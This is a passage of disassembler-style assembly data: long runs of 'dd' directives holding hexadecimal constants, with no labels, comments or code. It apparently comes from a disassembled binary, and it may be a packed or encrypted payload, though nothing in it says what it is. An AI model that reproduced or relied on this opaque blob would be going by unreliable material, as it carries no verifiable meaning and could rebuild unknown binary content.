		dd 0A4E71408h, 14111E67h, 7E3208C0h, 386B0F20h,	1019ACC3h
		dd 84212490h, 5D116402h, 80FDC601h, 27A4C10h, 16D74881h
		dd 0AFA93A0h, 80A4783Ch, 559FF1F4h, 9B0E149Ah, 546282A1h
		dd 60AA00A0h, 228F88Ch,	17A49858h, 45578FD0h, 0C4070114h
		dd 0FB9800C3h, 0A4DB88DCh, 0DD0F64B1h, 6078058Ah, 0EC844Fh
		dd 1817AB07h, 16CE059h,	78A49EF6h, 20C7F865h, 8BA329AAh
		dd 0B6BF3AA0h, 36ABA012h, 48156500h, 9866E4h, 74E8B47Eh
		dd 0C49A375Dh, 83A4260Eh, 0FCAFA067h, 0B81DC67Bh, 375207D4h
		dd 0C0C3D289h, 10C96771h, 0E1972C18h, 3C14411h,	32B35CE8h
		dd 407C75A3h, 24B2EA00h, 0EDA7F2FFh, 760A0066h,	0F85B5E25h
		dd 5F1F274Ah, 6001C380h, 624523C5h, 86AC3880h, 5ECD29C6h
		dd 8011C8h, 0B6557543h,	9C600BF2h, 0D0770E60h, 60F0FE4Fh
		dd 22C488A9h, 2E1FA508h, 4503F199h, 35604A7h, 6CB35291h
		dd 4100C39Bh, 0F0B622E7h, 30C94466h, 5C285DE8h,	2D007265h
		dd 0A3FE9B87h, 76DAFCh,	4AAB097Ch, 38B83F5h, 0A67AA407h
		dd 784D6870h, 4AA54140h, 1E89DEA8h, 0EE1E0091h,	655574E7h
		dd 128DEA00h, 1D777825h, 0A5A30030h, 0F1DCE8F2h, 9D002CB4h
		dd 0ED02795Ah, 620A213h, 0CEEFE62Fh, 0A928E866h, 30809C65h
		dd 5A03A64Ah, 19ED9821h, 23110AF0h, 2638EB5Eh, 0C0210022h
		dd 0F22D5CE9h, 2A115914h, 0D288071Ch, 0CC0CDAFh, 0E9E8B5FBh
		dd 86ACA84Ch, 0CD88D102h, 9E70D584h, 2A07028Ch,	0CE9DB327h
		dd 0D265E891h, 86675230h, 58104D51h, 15247250h,	7A894499h
		dd 0F26001DBh, 0D8409D7Bh, 1B375C16h, 2025A7C7h, 0E88C5105h
		dd 804029DDh, 555DD9DEh, 4230912Ah, 5C04612Dh, 9E12C3h
		dd 77DB2571h, 4A84A3FDh, 0EDE69200h, 9BFFF996h,	2342A70h
		dd 0E39CAEB0h, 0C0E23DE6h, 0A8844B3Fh, 1B9CFB2Bh, 51CBAB97h
		dd 1D78D690h, 0EB2FEE09h, 0BC1408DDh, 0A688440h, 117E60C8h
		dd 0DE5796F1h, 2AF1A24Ch, 8203F8B5h, 5546090Bh,	2270054Eh
		dd 0F7F43CFh, 3092D2A4h
		dd 8A337844h, 8184B750h, 0D1801414h, 0DE067874h, 0AB7CCD78h
		dd 22060220h, 2C84E9B8h, 0C85508E0h, 100FDB1Dh,	0D065B03Dh
		dd 66F053FBh, 49C558C7h, 0B930FC78h, 11D4B05Fh,	87AA005Dh
		dd 7E0B4960h, 1002577h,	0C34A8365h, 4810426Dh, 0F700A052h
		dd 0A5CFC4F0h, 7B248021h, 9D1B948Ah, 7FB2C359h,	63238410h
		dd 208B1B99h, 0A70F9BCAh, 8E21B6C6h, 3C248070h,	0ECA7026Dh
		dd 0C2E6A654h, 5092868h, 0AECDAD00h, 33800FF1h,	0C8B06E68h
		dd 6F2DBA3h, 0B1A2290Eh, 11A7CC72h, 0F1CA6288h,	0C4A2A623h
		dd 0D4A37F30h, 9918AAF2h, 5929BE88h, 4304122Bh,	70C0416Eh
		dd 492C81E1h, 0F7FDF49Ch, 0A3FCF100h, 4F8AC722h, 0F0541805h
		dd 0B2A6980Ah, 187280h,	376D70F9h, 23C42DEDh, 0FBCCE4Dh
		dd 6C797B5h, 3C116249h,	1121C6A9h, 0AC0A3812h, 491918B9h
		dd 1182C120h, 8456931Fh, 4D8EE884h, 66E1A8F0h, 0EA868C57h
		dd 9180F520h, 635D6B9Eh, 77542CC5h, 9300FB80h, 0A2A183A3h
		dd 49EDA5E5h, 527E9453h, 98489824h, 80544624h, 1FB41E44h
		dd 0B600EF63h, 598AC854h, 3B59405h, 6B8EFF23h, 489066CFh
		dd 41004D0Eh, 76C62D3Eh, 76D04F8h, 0DC838FF3h, 8451C443h
		dd 410C2084h, 0F5146069h, 0B0E927h, 973859DEh, 0F4E772C9h
		dd 1E430610h, 816486A5h, 0B0DF9826h, 0F5497401h, 1830BD76h
		dd 6A20B071h, 0F8C1A8h,	66BBD71Ch, 4F127476h, 4002E77Ah
		dd 6155621Bh, 54307845h, 4CDA7EE8h, 0CD0B6083h,	5C07F1B2h
		dd 0FF76A341h, 0F86E8AD0h, 0FEF6B609h, 4C8898Eh, 5C802F66h
		dd 18E8B2D2h, 40D1773Ah, 23265456h, 739E88Bh, 961F5712h
		dd 822478C1h, 2A441D4h,	614A5B19h, 0E040E8EFh, 0EE0B5E27h
		dd 306766C5h, 13B61DCh,	0B729EF74h, 35962CC6h, 0B9588454h
		dd 0FC009882h, 0A44073E0h, 0A53442F8h, 0BC8C187Ch, 94D01DAh
		dd 0F1272EB0h, 4488407Ah, 1650146Eh, 2C7037E8h,	65FBB200h
		dd 83EA8453h, 0DF9C00F0h, 0CE5CD192h, 4728A512h, 5503B8BAh
		dd 0B1FA271Ch, 164808B8h, 2403174Dh, 26B20AF7h,	404CEA18h
		dd 12F62B5Ah, 9EB4FB15h, 201C3E84h, 0DA163D27h,	3F649873h
		dd 3EFD9BF2h, 4906C1A1h, 0F8B866EFh, 1710B443h,	5DF7827Dh
		dd 79012226h, 66A0401Ch, 2CC5EE22h, 0EC873FBh, 0DE652637h
		dd 3A7C2B79h, 4612FC22h, 8027E29h, 407716AFh, 90D6CB40h
		dd 371005Ch, 123D5FF3h,	13263183h, 0D20120AEh, 0A0BDD62Ah
		dd 0EB14B880h, 0E8A44C69h, 7DE28001h, 879B12EDh, 5C53C30h
		dd 38CFB973h, 5F20401Bh, 0DD4FC3CAh, 2B2D8A00h,	77D47923h
		dd 842700FFh, 0E3072E7Ch, 53005F44h, 0C405A4DBh, 380BFBACh
		dd 0F100D20Ah, 66714CAAh, 0BA00803Ah, 0A7E5B040h, 20C9DAh
		dd 60186C82h, 0D198489Bh, 0A16FC002h, 0C0D0C723h, 1EF45Fh
		dd 4D2F7BC1h, 5BA66AB4h, 142B671Eh, 0AEB2FEC0h,	0F81EB0EFh
		dd 0DD5C0004h, 197ECAF0h, 37B9140h, 60B5700h, 89219925h
		dd 0D52F00CDh, 0C808F50Fh, 5E16F7E3h, 0DA0610B3h, 0E8819B2h
		dd 1751DEFBh, 1AB882E0h, 4A00F73Eh, 12882745h, 3DBBCDh
		dd 739524AAh, 71C991DFh, 0A52A9C03h, 0B877444Eh, 0DA8D5Ah
		dd 0B2F2E42Dh, 0E16609B0h, 288E7F00h, 256A4441h, 1227FCBh
		dd 0D9D4EC48h, 0E415F637h, 0DC00AE99h, 0CB14A0FDh, 77EB5Bh
		dd 0EFF2E6C7h, 0B63E4D1Bh, 0BF86CC00h, 39274FBh, 5E7C0033h
		dd 624FBA58h, 7D00D196h, 665BBD04h, 0C1081h, 6479148Ch
		dd 0A65A4BD3h, 5FF9C00h, 0C458EAABh, 0ADC100A0h, 0FDDE0194h
		dd 0B4600DCBh, 53F94570h, 217100E2h, 0A11FC64Ch, 0B31EA8DAh
		dd 9440D5DCh, 547ACE62h, 7430095h, 44CF411Eh, 120F45D8h
		dd 677D1A21h, 0C15404F6h, 0B4294DC0h, 0C2AA00E3h, 0F9E00FACh
		dd 0E1F08BB9h, 71DC439h, 7BE45B01h, 54F38070h, 34B60078h
		dd 81D31FD6h, 360016F5h, 9BC54915h, 75530E71h, 57300010h
		dd 0B264B8F0h, 0D200198Fh, 0FE9A687Ch, 424E62h,	0A72ED0C8h
		dd 1525B996h, 0E6518800h, 0BD408207h, 0EAE07FE5h, 328E2E3Ah
		dd 1E0D0098h, 1203EA6Dh, 13017400h, 0F2C56052h,	0D750017Fh
		dd 79AD2283h, 43B7D877h, 5B37347Fh, 486CAA78h, 0E7D80138h
		dd 54FB8F47h, 0FCE9C98Ch, 0AF001D0Bh, 392887CFh, 60EA080Ah
		dd 164C080Dh, 2900588Ch, 83C05EDDh, 0A75DFFh, 0B3FBDC8Ah
		dd 979D74F0h, 0DB100500h, 454804E0h, 0EC77008Bh, 0EB6384FDh
		dd 5350DEE7h, 147251B8h, 5E7F6901h, 932D8E41h, 0C41DF07Ah
		dd 0EDBAC30Ah, 194B0C1h, 8E020144h, 68989390h, 0C18106D3h
		dd 8854DE9Ch, 241D4930h, 0DC21A0h, 1EFEEBD4h, 87B6716h
		dd 0C3F5D900h, 860E70A7h, 40210010h, 9F06B4ACh,	1074973h
		dd 0DDD30F71h, 0E00BC120h, 51023CBDh, 86568700h, 70903955h
		dd 8D65F600h, 68CF216Ah, 0F271761h, 8CD1003Fh, 3EE23436h
		dd 0E0CFE48h, 0A2D63A5Dh, 0E682D8h, 33C9EE77h, 0EA3FCA0Eh
		dd 45C1A086h, 8B1C47h, 0D110447Eh, 3215DA11h, 0FFACFCF3h
		dd 0AF00CFF4h, 69178291h, 3A21CE83h, 63141B24h,	900FAD11h
		dd 0A8600A56h, 62F85ECBh, 95272500h, 413A7468h,	0C5E4E9h
		dd 1FBC8E01h, 24B17FECh, 5F00B0E8h, 79D90AC1h, 9884715Bh
		dd 0E5271871h, 107FC0F7h, 0A552090Ah, 0B3809882h, 8F398949h
		dd 0BA2900BEh, 31A49D20h, 46707793h, 0D23B900h,	7BF834ACh
		dd 0DE86004Eh, 545FA097h, 9800884Dh, 747851Dh, 4E03ADh
		dd 1E5E26E3h, 875D6E19h, 5C6E200h, 7ED36328h, 4E3B006Ah
		dd 0F2949A0Ah, 0AFE422B5h, 455EA300h, 0D6644AE8h, 3A550B95h
		dd 8E830593h, 8CA8FDA6h, 9E006F71h, 0D5C76DFBh,	97798Ah
		dd 0F654D3FCh, 1A4285A3h, 0EEFB5800h, 6F86FD41h, 0FC3E76BEh
		dd 5CA10082h, 7643D926h, 0D700AFCCh, 0E6639313h, 703E8Dh
		dd 1C4C5E77h, 0C3E89266h, 589C6900h, 0EC64AE9h,	43180004h
		dd 0A89A7B77h, 0D6000BE1h, 115CA59Fh, 36EA328h,	0FE3686E2h
		dd 0C1A707CCh, 42A02719h, 286861F1h, 0DF0002D2h, 0CA4206C8h
		dd 0E33160h, 702DBDCBh,	0C5A20B89h, 90D9B400h, 2CDB9708h
		dd 0F842013Fh, 0E5AB80C2h, 128D42Bh, 737A7000h,	8169E78Bh
		dd 95D058Dh, 8086E354h,	0DA9C7EBCh, 76984A72h, 7500EAE4h
		dd 684D6D64h, 0EE266CCAh, 1A760004h, 0B2A988EDh, 0BE00145Ch
		dd 2A49D30Bh, 1C3EE54Dh, 0BC18289Eh, 9CE94383h,	0E087164Eh
		dd 0DC27EF13h, 4C6D4200h, 87DAC79Dh, 7B71C2h, 0E0AA035Bh
		dd 0A31F8986h, 0A2DD3400h, 21FE9FDEh, 0F37F3B75h, 0AB39C080h
		dd 0EC26158Eh, 0F05F7300h, 27A18B1Ah, 0EABF3B2Dh, 1366000h
		dd 0B033AF62h, 7735220Fh, 0D77180C8h, 72DADF6h,	0ED8FB76Fh
		dd 94A09ECFh, 0D450A770h, 18B45131h, 7E304D7Ah,	787860DEh
		dd 0BCAA3C46h, 53E09D00h, 1B41A497h, 0C0F600C3h, 0F2297236h
		dd 1C92846Eh, 19B80E09h, 914C001Bh, 0EF9B44h, 0CD66892Eh
		dd 69979563h, 56776F03h, 206E4Ah, 0E222A728h, 0A826AD9Eh
		dd 0DA06167Ch, 215DC7B7h, 6DCA0320h, 13A9C577h,	59551000h
		dd 0DED9E04h, 2DD000Fh,	243EB42Fh, 7700C511h, 0FBE769ADh
		dd 732A1F0h, 0B99CE8F9h, 1D39EAFh, 15E1731Dh, 64EAEC7Ch
		dd 9F07A9F6h, 9302ACA0h, 0C9602447h, 3912C58Bh,	72002FFEh
		dd 0DD011D53h, 9C00C0F5h, 280E0AFAh, 0FC8C2A0Fh, 71F200B6h
		dd 1517998Dh, 4C00CDA4h, 1B5ECA04h, 1884065h, 80B2EF4Fh
		dd 5075C04Dh, 12238EA8h
		dd 0ACB6AB28h, 98DB580Eh, 0B1E42205h, 3EE4A009h, 7848ABh
		dd 0F235FC0Fh, 6693242Dh, 8744EC0Eh, 0C450C0BCh, 16D5DD33h
		dd 1F8F087Eh, 1D428082h, 0D4384B73h, 2A360500h,	4921064Ch
		dd 25D902FFh, 9743F2C4h, 9DAA1CC0h, 7C1CE800h, 7A260B40h
		dd 510005Eh, 38E9492Eh,	240488ACh, 0BBECFAC2h, 0CCE10D80h
		dd 0DCEA0E91h, 646085E7h, 0F0973D18h, 98792400h, 70934D0Eh
		dd 0B3AB0041h, 4E3C2935h, 0DE45FA9h, 5026DC12h,	3DD0EC40h
		dd 0C008CFDFh, 0C0AD3CF1h, 3300E298h, 62997973h, 8C7548h
		dd 65745764h, 7170636Eh, 9C6C6A39h, 7A456D68h, 0C0C607Bh
		dd 3B6B06B6h, 92DC7366h, 0F1914E00h, 0DAE4F354h, 2932AC7Fh
		dd 45C10FEh, 0DF7C214Dh, 1EF212E0h, 83CE7944h, 7AB1D5DAh
		dd 4202B11Ch, 8014F0CFh, 0FAEB71C7h, 0F60603B3h, 0FB754DE5h
		dd 34F881E7h, 0FA1864F9h, 8A474800h, 0D4713970h, 608C00CFh
		dd 0F634CAA6h, 6B011116h, 9B2328A7h, 7880E6B0h,	34F43876h
		dd 8B014E0Fh, 3B812280h, 28C80857h, 0EE3E0756h,	30F9191Ch
		dd 804A6455h, 34037BF6h, 936A79C8h, 0C0B1004Dh,	9A104CC9h
		dd 56037B7Eh, 934EF6CAh, 21764Bh, 0A1759BBAh, 1EF8CEA8h
		dd 79A4E100h, 5E5D8B7Fh, 48C51EA3h, 47784998h, 823F08A0h
		dd 6E070ACDh, 0B35DC2Dh, 873C805Eh, 3FCC25Fh, 0A8AB7FD5h
		dd 4CE00A5Eh, 89062BE8h, 5C481EC0h, 5A1B2E78h, 40631F3Ah
		dd 0AE3D8EF8h, 0C1F24712h, 9BBDB20Ch, 7C860F7h,	7130703Bh
		dd 76C630FAh, 0D43AAEB7h, 8067FC72h, 0D599B491h, 0A3B08400h
		dd 9030A696h, 338E146h,	3CBF774Ch, 3680D0ACh, 927AFD6Eh
		dd 0C0002D56h, 0D9D3F4A7h, 0E2CB9A31h, 12E33F45h, 0ACF60078h
		dd 0E9C51A4Fh, 0F0F14C8Bh, 0B4000F4Eh, 18EE5985h, 0E2439ED3h
		dd 605E0046h, 64EDE997h, 4E0C1373h, 2884BF50h, 81DC1D6Ch
		dd 5A708243h, 8DC00B26h, 15014240h, 0DA3E28A1h,	8AE8A0CEh
		dd 6AD5005Dh, 0B2259F19h, 0FFEC77E5h, 0F4EFA600h, 87687D3Dh
		dd 0BF113CA8h, 6D3E2680h, 0E547D2B1h, 4D558100h, 46018D85h
		dd 1FFD00E2h, 5E86942Ch, 660004C2h, 1859E869h, 1DFE88C1h
		dd 85B00Ch, 840A022Ah, 4A16CD95h, 0D00E512Eh, 0A591C0E6h
		dd 0E38552h, 0AFE9E539h, 0B6D31EB7h, 0F819E705h, 94000F97h
		dd 0B33F2A0Ch, 3FB5F8EAh, 0C380071Ah, 0CFAAC12Dh, 0C03CA09h
		dd 8B4982E6h, 0A7C4D00Ah, 6A9000Bh, 0A1FA26C7h,	92006234h
		dd 0F77B2A5Eh, 76B127h,	978EA5B4h, 14FA227Ch, 0E0841A00h
		dd 24DA02D8h, 0C81004Bh, 5B2F6B64h, 600AC73h, 577CF2D2h
		dd 85FFEAh, 0B5A604A9h,	0FD5F0E59h, 2D1F1300h, 29CF0199h
		dd 1EDC00C7h, 8CCC0997h, 4A0563C6h, 4DE9769Bh, 0B50EF400h
		dd 4E9CDB5Ah, 0A0C9876Fh, 0DFC4B3F8h, 95A9390Eh, 0A0114F4Fh
		dd 88C3AA61h, 0E8C2076Ch, 566612h, 1E8A77BCh, 0C5C07A5Fh
		dd 0B8E9A94Fh, 4A23C8Eh, 1C748D80h, 0C4E2B1A6h,	0DCEE9301h
		dd 0B97EE975h, 607FD8h,	1B0EDF21h, 0C633081Fh, 6C0A9DF6h
		dd 0B427A0B2h, 59F19801h, 0B0804EB7h, 0F3BBED56h, 0FE00042Ah
		dd 0AA7DA1E9h, 7757CF4Ch, 0E45D00C5h, 69CE88D9h, 1001B0B2h
		dd 0BADE4035h, 40223331h, 0B1498600h, 5092D1A2h, 2B0ED6Bh
		dd 0B072957Bh, 71056F58h, 43F800E3h, 904F31CAh,	0FF1D062Ah
		dd 49C04C2Ch, 655FEAC4h, 0F479D2h, 0CFEC5D23h, 16A6D0DCh
		dd 0B203DFFCh, 0CD267552h, 0C011E02Eh, 213B00D3h, 1A4C6FC9h
		dd 472C8A18h, 3A1F6CE4h, 0C190F601h, 4880E901h,	45E37F99h
		dd 690007D1h, 15B49765h, 75E88Eh, 0BBF3817Ch, 23934404h
		dd 6B0099F8h, 74CCD4A2h, 30077E4Bh, 0A51ED2ADh,	760096EBh
		dd 9EFFBE78h, 805025h, 0AB6AE0D5h, 4997067Ch, 0AA23E00h
		dd 93056DDBh, 4C2B00E5h, 27A64056h, 5800F46Fh, 9D820646h
		dd 0A260DBh, 8DDDE71Dh,	5AF5C52Eh, 0E66B9C00h, 2D070CD7h
		dd 0FEA000E9h, 92C84EF3h, 0F816AAA7h, 1300FCD8h, 0FDDB7726h
		dd 4F171ED1h, 0D9490057h, 0C76A36E3h, 9D7DECE9h, 0A2541300h
		dd 0C3ED83Dh, 42C50004h, 0A90DD94Ah, 1A774076h,	0B3C2EC00h
		dd 6F09BD10h, 500F77A3h, 603FB11Dh, 2DBCE89Ch, 5F0032C3h
		dd 0F3CB041Fh, 742F876Eh, 2C4F0024h, 0A3237172h, 7D7788DEh
		dd 0D9E9B100h, 48DDF5CCh, 0A5243937h, 2876A319h, 0F400300Fh
		dd 68592E30h, 80B8B1C0h, 0E008015h, 0BA6E2F7h, 0EEA7F9h
		dd 0B2242769h, 12CC2A14h, 0C14E7707h, 3D4009F6h, 1855923Fh
		dd 19820FC3h, 867D4738h, 0F4A0B100h, 7694689Bh,	1E5E4ACh
		dd 0AA9AA78Dh, 0E8170324h, 0F7019247h, 8FF6C6B4h, 2AE8B541h
		dd 0F8041C6Fh, 0B980FCFEh, 6EF5610Ch, 3F0FD288h, 0EACFEB57h
		dd 9000E108h, 0CB53237Dh, 1CB6988Ah, 80BD7443h,	3CD59973h
		dd 0C7FC926Bh, 0C45A13Fh, 0E828A830h, 0E8773E4Ah, 0C0B5299Fh
		dd 7DD2FF84h, 0E2007232h, 0F0026C10h, 0B8A5E7h,	473AF97Ch
		dd 8412A291h, 0DFBFC500h, 9E35EB7h, 4EFE0036h, 8066F332h
		dd 9AB8CC20h, 7F768700h, 2D3435F2h, 57B00007h, 730E1354h
		dd 5C0071E5h, 17C309ADh, 0F99E86Bh, 3EFB33DAh, 5EFCC7A0h
		dd 4F001650h, 3B19E018h, 0F37965h, 0DEC620F5h, 0EA8DC52h
		dd 0FF366B0Eh, 168E209Ah, 2ECB2Bh, 0B3BA27C0h, 7DC642F5h
		dd 0D023C307h, 7F609D6Fh, 29A7C7h, 9F2A5DCBh, 1730A6E5h
		dd 3B78E300h, 0D410E1E7h, 9DDB00C6h, 27B84A51h,	0E000720Dh
		dd 0C7B916A1h, 7482F4D0h, 1DDDEACCh, 744C01h, 913D794Bh
		dd 5803BA5Ah, 7BDCE838h, 0A0E9E312h, 0C5486Bh, 57FD3BF8h
		dd 93E51813h, 60445C00h, 19C6573h, 6C0B3C96h, 0C7901B00h
		dd 0A8094BABh, 0D7676B00h, 40E828BAh, 2FEA0FF7h, 44051FCh
		dd 5FA5301Bh, 1FC36B00h, 1CB568B3h, 9E520157h, 34EDE28Eh
		dd 5971CC9Ah, 31002D73h, 0F4ADE9BAh, 7ACCFAh, 748213CBh
		dd 53899AC1h, 7733B00Bh, 2F8A8059h, 0E627D1AAh,	0DABB0E99h
		dd 88206BBDh, 913B33AFh, 803EE53Ah, 0AB4BAA86h,	7E0B03h
		dd 0CB690E42h, 0A95F4998h, 0BA14C373h, 0A444EFh, 0B7D5E125h
		dd 7373BFA7h, 0AB743847h, 8E131D77h, 4A0F80D3h,	34A897A6h
		dd 0A91C3298h, 0CE8D441h, 0BD18B274h, 5E08C2ACh, 0E5A100D6h
		dd 0A0697D7Ah, 4C24717Eh, 65806CE4h, 0E6CB45D3h, 0C2EB1D01h
		dd 15E7009Eh, 0C551F82Dh, 8600B67Ch, 3B4CD37h, 3D50DBCAh
		dd 795859ADh, 2C686102h, 0E7C081AEh, 0F300E998h, 1D0B5A3Bh
		dd 760190BEh, 0CB870078h, 0B1567A9Fh, 0EEEE1E7Ch, 1570F700h
		dd 45A76568h, 0F3B224DAh, 0FA00BF24h, 63377644h, 9D005F5Ah
		dd 7E6F80B3h, 390FD559h, 6503A5D7h, 0E586E2E6h,	0C61BC90Ah
		dd 0C783A045h, 0E32C5831h, 0C423A036h, 0DAE50089h, 0B5150DFAh
		dd 2F00DD20h, 8A35FE80h, 0E68944EEh, 0A3710002h, 600D12BFh
		dd 0AA5825D7h, 553005F8h, 4A83FB1Bh, 4FF6A8D0h,	0E82900ECh
		dd 8F28E0Dh, 0B00060A1h, 0DF1D871Ah, 6AA43B3Eh,	9D98B9h
		dd 0E7E51979h, 6E30C5FCh, 0BDC71890h, 0AE7B0040h, 4A5F788Ch
		dd 0A4316129h, 0CF16C032h, 67F920h, 0BC5DF74Fh,	507F6323h
		dd 0F308B90Fh, 603F8068h, 7CEDF443h, 635A3CE7h,	0F01B7172h
		dd 3962019Ch, 375E3C0Dh, 86AC50F4h, 0DFF0CDD6h,	89735600h
		dd 87029E70h, 77F0F1C4h, 80B36F61h, 772E8687h, 0E7CBC0C7h
		dd 0ACA84983h, 3807E933h, 2167F670h, 8F802ED4h,	74C3B82h
		dd 0BD9C9219h, 65A0CCC0h
		dd 4351CD0Fh, 3D0B437h,	0ECD6A7B8h, 587555h, 0FB1FB1A2h
		dd 9A86B514h, 6E88C16Eh, 0A95E800Dh, 7E1CC8Ch, 48340CB8h
		dd 417080ABh, 0DD0658CDh, 0F83CCF20h, 280D7CD8h, 58484D52h
		dd 4840263Ah, 0E32B20B5h, 10C510A0h, 0C325BA06h, 74E8C186h
		dd 84C446E2h, 2384D52h,	60347404h, 1D804FACh, 67F1CD9Ah
		dd 80ED6818h, 86FC3BAh,	50873924h, 0EAB9A680h, 7E813AC4h
		dd 0C6F0185Bh, 0C32FD675h, 2016F601h, 62978F61h, 3334F8h
		dd 0CC8E2BBCh, 9EF66F15h, 59C72603h, 0B09D6548h, 0D4A7E5h
		dd 47CEDFD1h, 0C0288264h, 6974FC00h, 594FA43Fh,	0AEAD0071h
		dd 0FA574451h, 0F300AF5Bh, 0E6A98546h, 0C0945647h, 0D51BC608h
		dd 9E0065F4h, 0CD3179AAh, 30EE43E4h, 0E8EC81FBh, 26007C48h
		dd 0C17F62DEh, 7457A94h, 0CE9D109Ah, 0D08EB069h, 9C34A72h
		dd 0B8128FA4h, 6CC042h,	0BC9A2EDFh, 72B6901h, 88ADA105h
		dd 0D8C8CB7Eh, 0F829001Eh, 0C8142B1h, 0E900BD2Bh, 0D647F73Fh
		dd 381CF6C7h, 9B00316Dh, 78FAF35Dh, 0D4A04FE7h,	7CA8830Eh
		dd 385C7631h, 80F53E2Ch, 0C4B08AADh, 0FAC49F6h,	1DE0886h
		dd 6295F982h, 8D4BF4A0h, 61009355h, 2AE1EDCCh, 12715396h
		dd 36E3160h, 0E4575E3Fh, 0E22D0803h, 0A075488Ah, 2CC4810Fh
		dd 5A3287h, 2DE946Dh, 20000943h, 0D439D71Ah, 541DB9Ch
		dd 0DABF4EDh, 0E6F091A6h, 8009807Ah, 0AF68A504h, 0E8B8005Fh
		dd 7B9CADF6h, 4A00BCB2h, 5D2DE3CDh, 0EA5B6922h,	0E8FF3E99h
		dd 897D791Eh, 6401C3EBh, 40764950h, 0F7CA452Ch,	0E4A25701h
		dd 1B9DEA1Dh, 1CB2C830h, 0C03FF86Bh, 50460693h,	19001F87h
		dd 0B658166Ah, 8CCB4Ah,	0FA6C1826h, 0E5E684B3h,	0CC0E2A00h
		dd 4D3FC88Fh, 0B6510016h, 301767Bh, 90002F22h, 0A5EBEF6Eh
		dd 19E3330Fh, 88340AA7h, 9EC0D3F7h, 0DA00B688h,	3F0E8C5Dh
		dd 15E3A1Ch, 54BC1A06h,	0CDDC1BC8h, 0E5E2DFA4h,	10CEE8A7h
		dd 5D6A88E3h, 117AB00h,	8E3CD3C4h, 0EB74F6h, 894C28F5h
		dd 6D69B010h, 7080E400h, 3A0B4DD1h, 3F7E7A51h, 0CF8048E3h
		dd 9F643FCCh, 830033AAh, 0F054FD99h, 0A1A4E201h, 32F437E2h
		dd 0C19000D9h, 0B6C958F8h, 680083ECh, 86A817D4h, 750ABDh
		dd 2282033h, 53C8CBB1h,	0F70E7800h, 4CDCFD8Dh, 4981095Ah
		dd 3060E597h, 0A700CF4Ah, 0B2D47CB0h, 0EFF7475h, 762C85F2h
		dd 9BC0E62Fh, 6D60ADBh,	23F90200h, 2C6789E4h, 2D174A6h
		dd 8B2E1582h, 71C02DF8h, 6B74E7FFh, 8A2B7700h, 51B69B03h
		dd 0BBBC0088h, 0D6E29C27h, 5C3F9E2Ah, 99C480B0h, 0DB771A50h
		dd 81430025h, 9118DF01h, 4D0960D0h, 0A08FABECh,	96CC3C3Ch
		dd 42783D30h, 6C02B281h, 80544D70h, 90D09828h, 7ACA26h
		dd 4C5C8753h, 0F5E68AD6h, 725AAC05h, 25C010BFh,	7811FFAh
		dd 79BC8F44h, 9ED7F0C1h, 0B600A8E3h, 2CDDF557h,	28D0832h
		dd 0F992E0A4h, 0C048E79Dh, 0AD52E853h, 0E37E80F8h, 1ECF1Fh
		dd 3F5C9FCh, 34F1AD60h,	0E77EF374h, 0F893CC00h,	0FBC82B44h
		dd 0A65D0088h, 0A75A7511h, 1800C612h, 0E5B92A40h, 61C30385h
		dd 0ECAA78E1h, 61C4014Fh, 6D68D8h, 28D8467Bh, 5E032C48h
		dd 0BE527A00h, 1643C1CCh, 51190062h, 33857FCBh,	8E097617h
		dd 80DAB75Bh, 0D924F4Ch, 981618F1h, 8CB62083h, 1DEA3D00h
		dd 139A345Dh, 0A0603A6Eh, 4104B00h, 97CB66DFh, 219B3B00h
		dd 7CC53E72h, 92E40062h, 46D21149h, 4C90E615h, 0D71FFF16h
		dd 12C3C15h, 90CB2620h,	829B95Bh, 1D408100h, 8E14F35Ah
		dd 0DA47A000h, 0D0C9370Eh, 6DA500C7h, 0BFDDDF4h, 77001E59h
		dd 82464EFAh, 74181ACDh, 511528D3h, 75EF01F8h, 6853F164h
		dd 0FB4BC823h, 4E7B9700h, 0FE9E3A08h, 0CD330E32h, 0BAA05F49h
		dd 87381B91h, 1960A90Ah, 7E01F47Dh, 2EC1E168h, 488051E1h
		dd 0B38B1E67h, 9D007769h, 3075CEBCh, 25C9F19Ah,	1490BB8Dh
		dd 330388A3h, 0D6200F87h, 0C8DB9BDCh, 79F943Bh,	22EB5210h
		dd 0EE91E0A9h, 800464Fh, 2A3E4A5Bh, 0B71C39h, 99F27256h
		dd 0D41932A6h, 0D6B059E2h, 336AB803h, 3A5121ABh, 2D00CED4h
		dd 6B992FE8h, 107C0770h, 0A0DD1C00h, 0D1D9C654h, 3A5061E0h
		dd 0F45E4ADAh, 497DF0BEh, 9F617400h, 90D48E9Ah,	4A2400F5h
		dd 63F25D44h, 0B700DA9Ch, 366E9EA4h, 7DE051FBh,	0CBAF009Dh
		dd 797E56C3h, 121FBFEFh, 13004887h, 0D99A3DE8h,	0DB800B7h
		dd 0BE5E17Ch, 1F00F976h, 9F7AB5D2h, 0F70DB7Eh, 0B45CA9BAh
		dd 9A1B080h, 7D001DECh,	0E1999057h, 9229080Dh, 7C50016Ch
		dd 51BFD1EDh, 2C40E153h, 553ABE24h, 23864486h, 0CF077149h
		dd 19C8EEECh, 4E9A29B0h, 0BB5D0184h, 99259063h,	76C7F31Eh
		dd 3EF0305Eh, 0F175800h, 56DFF84Bh, 2CDC09DBh, 0E448A1E2h
		dd 0A3040763h, 4301E6C1h, 0CAFE14D0h, 6428E3EEh, 68157A01h
		dd 0C0A41F1Bh, 0BE3832A0h, 0E2FD00DFh, 0E727C203h, 0CC9F01F6h
		dd 0A2CE6975h, 73584005h, 0E9000455h, 3AE1A4B4h, 0F8CD28EDh
		dd 8D430492h, 0B28809E2h, 20450008h, 55300C29h,	3E2D707Dh
		dd 2280D7B0h, 3D3EB366h, 0D45CC249h, 0E3D30CD8h, 0A3A056h
		dd 1E93411Bh, 4BA4D571h, 0CBD2B503h, 0AB7B91E5h, 568F9F0h
		dd 38A8C2FCh, 38B26E4h,	0EE804CB2h, 540EBB07h, 4AFC1A00h
		dd 8C6D38EBh, 213A0513h, 834CD083h, 1CA875B5h, 0FE00649Eh
		dd 260EF92Ch, 0F6F58B63h, 0A861002Bh, 7745C22Ah, 0E00BDEEDh
		dd 1925C60h, 7435196Eh,	0C44DBF41h, 3256430h, 0EE9F8112h
		dd 8008A38h, 7DD764E8h,	2B8F52h, 944CA8AEh, 11D97001h
		dd 0C9187E60h, 6284DFh,	9C5007F7h, 0AEE2BA5Ah, 0C4957006h
		dd 8F6E0h, 0CCB9C294h, 0CB0FFF11h, 4FD30426h, 625D3D00h
		dd 3CFC479h, 4F6CA1C2h,	87E8B6DBh, 0FC077386h, 45CA3BDCh
		dd 0AEFFAF10h, 26E0063h, 0A9580511h, 0C90033D5h, 1E20B45Ah
